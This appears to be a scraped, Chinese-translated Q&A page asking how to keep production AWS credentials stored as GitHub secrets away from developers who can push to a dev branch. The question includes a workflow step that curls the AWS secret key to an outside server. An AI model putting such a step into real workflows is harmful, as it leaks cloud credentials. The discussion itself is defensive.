如何保护生产凭证免受 Github Action 的影响?
Posted
技术标签:
【中文标题】如何保护生产凭证免受 Github Action 的影响?【英文标题】:How to protect production credentials from Github Action? 【发布时间】:2020-12-23 17:52:51 【问题描述】:我可能在生产中遗漏了一些关于 Github Actions 的信息,因为如果开发人员可以提交到存储库的某个分支,他们似乎可以获得存储为 Github 机密的生产密钥。
假设我有两个分支“dev”和“prod”。
推送到 prod
分支后,我有 Github 操作 deploy.workflow
,它将我的更新部署到 AWS。 Github 操作中使用的凭据(AWS_ACCESS_KEY_ID
和 AWS_SECRET_ACCESS_KEY
)存储为 Github 存储库机密。现在一切都很好。
假设我们有一个开发人员无法访问prod
分支。这个开发者现在可以创建一个新的 github 操作,推送到“dev”分支并公开密钥!
动作看起来像这样
on:
push:
branches: [ dev ]
jobs:
expose:
....
- name: Expose secrets
run: curl myserver/key/$ secrets.AWS_SECRET_ACCESS_KEY
查看操作日志,开发人员将能够找到生产密钥!
有什么办法可以防止这种情况发生吗?
编辑:原来秘密是从日志中过滤掉的,但仍然可以通过使用 curl 发送到您的服务器来获取它们。 (代码更新)
【问题讨论】:
不,GitHub 不提供这样的功能。但可能会有来自 AWS 的 GitHub 集成。 你试过了吗?秘密在日志中进行了编辑,请参阅here。 嗨@BenjaminW。谢谢你的答复。我明白了,我错过了那部分,谢谢分享!但是开发人员仍然可以运行操作将秘密发送到他的服务器,例如curl myserver/key/$ secrets.AWS_SECRET_ACCESS_KEY
这也是很长一段时间内,fork 的 PR 无法触发工作流的原因之一。
【参考方案1】:
github 存储库中的任何人现在都是团队中的协作者,他们对自己所做的更改负责。这应该正确地传达给开发人员。
更新
这是 github 操作中非常需要的功能,基本上允许通过分支来确定秘密的范围。
如果您想在其中添加您的案例场景以向他们提供更多反馈,这里是最近关于此的对话
https://github.community/t/secrets-scoped-to-branches/18524
【讨论】:
但是REPO_ACCESS_TOKEN
需要对 repo2 的写入权限。所以它可以用来改变 repo2 中的工作流来提取秘密。
@riQQ 感谢您的关注。我更新了答案以提供一些资源。但是删除了代码,因为它是多余的,如你所说。用户仍然可以通过编辑推送到该存储库,并且仍然获得相同的最终结果。以上是关于如何保护生产凭证免受 Github Action 的影响?的主要内容,如果未能解决你的问题,请参考以下文章